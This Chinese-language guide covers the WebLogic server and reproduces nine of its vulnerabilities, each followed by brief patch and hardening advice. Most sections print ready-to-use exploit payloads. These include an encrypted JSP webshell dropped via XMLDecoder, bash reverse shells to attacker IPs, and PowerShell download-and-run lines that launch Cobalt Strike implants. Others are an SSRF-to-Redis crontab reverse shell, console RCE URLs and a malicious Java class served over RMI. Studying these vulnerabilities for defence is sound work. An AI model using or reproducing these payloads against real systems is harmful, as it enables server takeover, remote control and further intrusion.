WebLogic中间件漏洞全面解析与防御指南
一、WebLogic简介
WebLogic是美国Oracle公司出品的一个基于JAVAEE架构的中间件应用服务器,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用。
核心特性:
- 支持EJB、JSP、Servlet、JMS、JDBC、XML和WML等标准
- 高扩展架构体系,包括客户机连接共享、资源pooling等
- 默认端口:7001
活跃版本:
- Weblogic 10.3.6.0
- Weblogic 12.1.3.0
- Weblogic 12.2.1.1-12.2.1.3
二、WebLogic安装与配置
1. 安装前准备
- 下载地址:https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
- 版本要求:
- Weblogic 10.3.6及以下:支持JDK1.6/1.7
- Weblogic 12.1.3及以上:需要JDK1.8+
2. 安装过程
Weblogic 10.3.6安装:
- 双击启动安装程序
- 设置管理员账户(默认用户名:weblogic,密码自定义如zcc12345)
- 选择开发模式(启用自动部署)或生产模式(关闭自动部署)
Weblogic 12.1.3安装:
- 将安装包放入JDK的bin目录
- 以管理员身份运行安装程序
- 使用Configuration Wizard创建域
3. 启动与访问
- 启动脚本路径:
user_projects/domains/base_domain/startWebLogic.cmd - 控制台访问URL:
http://[IP]:7001/console/ - 使用设置的管理员账户登录
三、WebLogic漏洞详解与复现
1. XMLDecoder反序列化漏洞(CVE-2017-10271)
漏洞原理:
WebLogic的WLS Security组件使用XMLDecoder解析用户传入的XML数据时存在反序列化漏洞,导致任意命令执行。
影响版本:
- Weblogic 10.3.6.0
- Weblogic 12.1.3.0
- Weblogic 12.2.1.1-12.2.1.2
检测方法:
访问/wls-wsat/CoordinatorPortType(POST),查看返回信息
受影响URL:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
利用POC:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/zcc.jsp</string>
<void method="println"><string>
<![CDATA[<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)]]>
</string></void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
Linux反弹Shell:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>bash -i >& /dev/tcp/x.x.x.x/4444 0>&1</string></void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
Windows上线CS:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>powershell</string></void>
<void index="1"><string>-Command</string></void>
<void index="2"><string>(new-object System.Net.WebClient).DownloadFile('http://192.168.10.65/zcc.exe','zcc.exe');start-process zcc.exe</string></void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
修复方案:
- 下载并安装Oracle官方安全补丁:
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html - 删除或限制访问wls-wsat组件
2. XMLDecoder反序列化漏洞(CVE-2017-3506)
与CVE-2017-10271关系:
CVE-2017-10271是CVE-2017-3506的绕过,3506补丁验证了object标签,10271补丁过滤了new和method标签。
利用POC:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/zcc3.jsp</string>
<void method="println">
<string><![CDATA[<% out.print("zcc1 hello")%>]]></string>
</void>
<void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
3. wls-wsat反序列化远程代码执行漏洞(CVE-2019-2725)
漏洞原理:
CVE-2017-10271的又一入口,补丁过滤了class标签,限制了array标签中的byte长度。
影响组件:
- bea_wls9_async_response.war
- wsat.war
检测方法:
访问/_async/AsyncResponseService,返回200则存在漏洞
受影响URL:
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https
Windows上线CS POC:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>powershell</string></void>
<void index="1"><string>-Command</string></void>
<void index="2"><string>(new-object System.Net.WebClient).DownloadFile('http://192.168.10.65/zcc1.exe','zcc1.exe');start-process zcc1.exe</string></void>
</array>
<void method="start"/>
</void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>
修复方案:
- 升级本地JDK环境
- 安装官方补丁
4. WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)
漏洞原理:
通过T3协议在Weblogic Server中执行反序列化操作,利用RMI机制的缺陷,通过JRMP协议执行任意反序列化payload。
相关漏洞:
- CVE-2015-4852
- CVE-2016-0638
- CVE-2016-3510
- CVE-2017-3248
- CVE-2018-2893
检测工具:
- https://github.com/shengqi158/CVE-2018-2628 (Python2环境)
- https://github.com/jas502n/CVE-2018-2628
利用过程:
- 使用k8weblogicGUI.exe上传webshell
- 通过脚本连接获取交互shell
- 执行命令上线CS:
powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.10.65/zcc3.exe','zcc3.exe');start-process zcc3.exe
修复方案:
- 过滤T3协议:
- 在域结构中点击"安全->筛选器"
- 筛选器填写:
weblogic.security.net.ConnectionFilterImpl - 保存后重启WebLogic
- 升级到最新版本
5. WebLogic未授权访问漏洞(CVE-2018-2894)
漏洞简介:
Web Service Test Page中存在两个未授权上传点,可上传任意文件。
影响版本:
全版本(生产模式下默认不开启)
检测方法:
访问以下URL:
/ws_utc/config.do/ws_utc/begin.do
利用过程:
- 开发模式下直接访问上传点
- 生产模式下需登录后台启用Web服务测试页:
- 勾选"启用Web服务测试页"
- 保存并重启WebLogic
方法一:通过/config.do上传:
- 访问
/ws_utc/config.do - 设置Work Home Dir为css目录:
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css - 点击"安全->添加",上传JSP木马
- 获取文件ID(如1628933663766)
- 访问webshell:
http://192.168.0.105:7001/ws_utc/css/config/keystore/1628933663766_JspSpy.jsp
方法二:通过/begin.do上传:
- 使用/begin.do的工作目录(需先在/config.do中设置)
- 上传文件后,从返回包中获取文件路径
- 访问webshell:
http://192.168.0.105:7001/ws_utc/css/upload/RS_Upload_2021-08-14_17-59-33_143/import_file_name_zcccmd.jsp - 执行命令上线CS:
powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.0.108/zcc.exe','zcc.exe');start-process zcc.exe
修复方案:
- 生产模式下Config.do页面需授权访问
- 升级到最新版本(生产模式已取消上传功能)
6. WebLogic SSRF漏洞(CVE-2014-4210)
漏洞原理:
通过SearchPublicReqistries.jsp页面,利用WebLogic Server连接任意主机的任意TCP端口,探测内网服务。
检测方法:
访问/uddiexplorer/SearchPublicRegistries.jsp,能正常访问则存在漏洞
利用过程:
- 探测端口开放情况:
- 开放端口返回:
An error has occurred<BR>weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code - 未开放端口返回:
An error has occurred<BR>weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '127.0.0.1', port: '7002'
- 开放端口返回:
联动Redis攻击:
- 查找Redis容器IP(如172.20.0.2)
- 构造反弹Shell脚本:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.104/12345 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save - URL编码后通过operator参数发送:
operator=http://172.20.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.104%2F12345%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
修复方案:
升级到高版本WebLogic
7. WebLogic弱口令与后台Getshell
漏洞原理:
管理员安全意识不强导致存在弱口令或默认凭证,通过后台部署功能上传恶意war包。
利用过程:
- 通过弱口令登录管理台(如weblogic/zcc12345)
- 点击"部署->安装"
- 上传包含webshell的war包
- 作为应用程序安装
- 访问webshell:
http://192.168.0.105:7001/zcc/JspSpy.jsp
修复方案:
- 使用强密码策略
- 定期更换密码
- 限制管理台访问IP
8. WebLogic Console HTTP协议远程代码执行漏洞(CVE-2020-14882/CVE-2020-14883)
漏洞组合:
- CVE-2020-14883:权限绕过漏洞
- CVE-2020-14882:代码执行漏洞
影响版本:
- 10.3.6.0.0
- 12.1.3.0.0
- 12.2.1.3.0-12.2.1.4.0
- 14.1.1.0.0
利用过程:
权限绕过(CVE-2020-14883):
访问URL:
http://192.168.0.105:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
代码执行(CVE-2020-14882):
- 执行命令创建文件:
http://192.168.0.106:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/zcc123%27);%22); - 反弹Shell(通过XML文件):
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>/bin/bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/192.168.0.104/6669 0>&1]]></value> </list> </constructor-arg> </bean> </beans> - 触发XML加载:
http://192.168.0.106:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.0.108/poc.xml")
修复方案:
下载并安装官方补丁:
https://www.oracle.com/security-alerts/cpuoct2020.html
9. IIOP反序列化漏洞(CVE-2020-2551)
漏洞原理:
通过IIOP协议远程访问WebLogic Server上的远程接口,传入恶意序列化数据执行任意代码。
影响版本:
- 10.3.6.0.0
- 12.1.3.0.0
- 12.2.1.3.0-12.2.1.4.0
利用准备:
- 安装Java8环境:
cd /opt curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz tar zxvf jdk-8u20-linux-x64.tar.gz rm -rf /usr/bin/java* ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
利用过程:
- 编写恶意Java类(exp.java):
import java.io.IOException; public class exp { static{ try { java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"}); } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args) {} } - 编译并托管:
javac exp.java -source 1.6 -target 1.6 python -m http.server 80 - 启动RMI服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.108/#exp" 12345 - 执行漏洞利用:
java -jar weblogic_CVE_2020_2551.jar 192.168.0.105 7001 rmi://192.168.0.108:12345/exp
上线CS修改:
修改exp.java为:
import java.io.IOException;
public class exp {
static{
try {
java.lang.Runtime.getRuntime().exec(new String[]{"powershell","/c"," (new-object System.Net.WebClient).DownloadFile('http://x.x.x.x/zcc.exe','zcc.exe');start-process zcc.exe"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {}
}
修复方案:
下载并安装官方补丁:
https://www.oracle.com/security-alerts/cpujan2020.html
四、综合防御建议
-
补丁管理:
- 定期关注Oracle官方安全公告
- 及时安装关键补丁更新(CPU)
-
配置加固:
- 启用生产模式
- 禁用不必要的组件和服务
- 配置强密码策略
- 限制管理控制台访问
-
网络防护:
- 配置WebLogic连接过滤器
- 限制T3/IIOP协议访问
- 实施网络分段隔离
-
监控与响应:
- 部署安全监控系统
- 建立应急响应流程
- 定期进行安全审计
-
最小化原则:
- 仅安装必要的组件
- 使用最小权限运行服务
- 删除或禁用示例应用
通过全面了解这些漏洞原理、检测方法和防御措施,可以有效提升WebLogic服务器的安全性,防范潜在攻击。